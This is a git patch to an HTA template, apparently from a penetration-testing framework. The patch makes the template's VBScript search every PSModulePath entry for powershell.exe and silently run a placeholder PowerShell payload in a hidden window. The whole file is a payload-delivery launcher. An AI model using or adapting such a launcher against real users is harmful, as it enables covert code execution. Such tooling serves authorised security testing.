From c724f0e05d7b49c3d90aecf8c6b3da2b79aa7654 Mon Sep 17 00:00:00 2001
From: Brandon Knight <github@bmkdirect.com>
Date: Wed, 19 Apr 2017 11:22:38 -0400
Subject: [PATCH] Handle multiple entries in PSModulePath

This commit handles the case where more than one entry exists in
the PSModulePath environment variable. The updated code will loop
through each entry in the PSModulePath checking for the presence of
powershell.exe. When one is encountered it will execute the payload
and exit the for loop.
---
 data/templates/scripts/to_powershell.hta.template | 9 ++++++---
 1 file changed, 6 insertions(+), 3 deletions(-)

diff --git a/data/templates/scripts/to_powershell.hta.template b/data/templates/scripts/to_powershell.hta.template
index 87083d9205..832f41d40d 100644
--- a/data/templates/scripts/to_powershell.hta.template
+++ b/data/templates/scripts/to_powershell.hta.template
@@ -1,8 +1,11 @@
 <script language="VBScript">
   Set %{var_shell} = CreateObject("Wscript.Shell") 
   Set %{var_fso} = CreateObject("Scripting.FileSystemObject")
-  If %{var_fso}.FileExists(%{var_shell}.ExpandEnvironmentStrings("%%PSModulePath%%") + "..\powershell.exe") Then
-    %{var_shell}.Run "%{powershell}",0
-  End If
+  For each path in Split(%{var_shell}.ExpandEnvironmentStrings("%%PSModulePath%%"),";")
+    If %{var_fso}.FileExists(path + "\..\powershell.exe") Then
+      %{var_shell}.Run "%{powershell}",0 
+      Exit For
+    End If
+  Next
   window.close()
 </script>